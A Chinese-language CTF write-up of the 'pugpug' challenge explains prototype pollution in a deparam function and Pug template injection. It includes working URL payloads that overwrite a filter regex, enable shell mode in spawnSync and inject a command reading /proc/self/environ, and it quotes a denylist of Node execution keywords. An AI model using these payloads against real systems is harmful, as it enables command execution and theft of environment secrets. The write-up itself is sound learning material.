bsides-ahmedabad-ctf-2021

pugpug

根据大师傅的wp,这题是原型链污染,但是我没看出来,所以认为还是应该回去理解一下,什么情景下会造成原型链污染?

原型链污染形成原因

如果可以控制并修改一个对象的原型,那么将可以影响所有和对象来自同一个类、父、组类的对象

什么时候可以利用

存在可控的对象键值

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

分析

参数传入将经过deparam进行处理

var input = deparam(req.originalUrl.slice(2));

在deparam中存在原型链污染,主要在下面这段代码,如果你传入了一个数组,含有多个键,那么就会进入以下循环进行赋值,我们可以跟一下值来分析一下

keys_last = keys.length - 1;                    
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
console.log(key[i]);
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}

可以看到keys的数组的值分成了三部分:
img

再往下继续调试此时key分为三部分,cur为含有所有键以及其值是一个对象,当key为constructor,他就会向上继承去获取其constructor的值
img

constructor属性的含义就是指向该对象的构造函数,所有函数(此时看成对象了)最终的构造函数都指向Function,而saasa是一个string,那么就是指向获得了一个string(),而所有函数的constructor都指向Function,也就是最原始的那个
img

而在这个Function()下面又有很多的函数,可以发现有一个正则表达式,也就是过滤我们字符的函数,我们可以通过污染这个正则表达式,来实现绕过,可以看到此时的三部分,cur[key]的值已经为那个正则表达式的内容了
img

最后直接将这个正则表达式赋值为我们传入的污染数据:img

梳理一下代码逻辑:如果我们传入一个数组数据,那么他会递归取值并进行重新赋值,直到最后一个值被赋出

传入:test=aaa&test[constructor][SafetifyRegExp]=ssss
过程:cur={name:xxx,test:xxx}
cur=cur[test]=>cur=aaa
cur=cur[constructor]=>aaa[constructor]=string()
cur=cur[SafetifyRegExp]=>string()[SafetifyRegExp]=正则表达式
此时数组递归遍历结束,进行赋值
string()[SafetifyRegExp]=ssss
img

模板注入

接下来就是pug的模板注入了,想要直接getshell是没办法的因为他过滤得很严格而且我们无法绕过:

const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];

但是在/serverstatus中有命令执行,并且这里可以传入参数,即req,res,但是由于options.options写死了,导致这里的命令是执行不了的,因为直接timeout500了==,所以我们先接触他,然后再控制options.args实现命令执行

app.get('/serverstatus', (req, res) => {
const result = child_process.spawnSync('ps' , options.args, options.options);
out = result.stdout.toString();
res.send(out);
});

首先我们要让childe_process.spawnSync可以执行shell命令,所以需要打开这个模式,是要用url编码即可绕过:的过滤

%23{options.options.shell%3Dtrue}

接下来再对options.args进行重新赋值,利用name进行传参绕过引号过滤(无法像shell:true)直接传参的原因:

?name=cpu,args%20;cat%20/proc/self/environ&content=%23{options.args%3D[options.args[0],name]} 

最终可以发现执行命令为:

ps -eo cpu,args;cat /proc/self/environ
img

由于是windows下复现的,就不演示了

Author

vague huang

Posted on

2021-11-11

Updated on

2021-11-16

Licensed under

Comments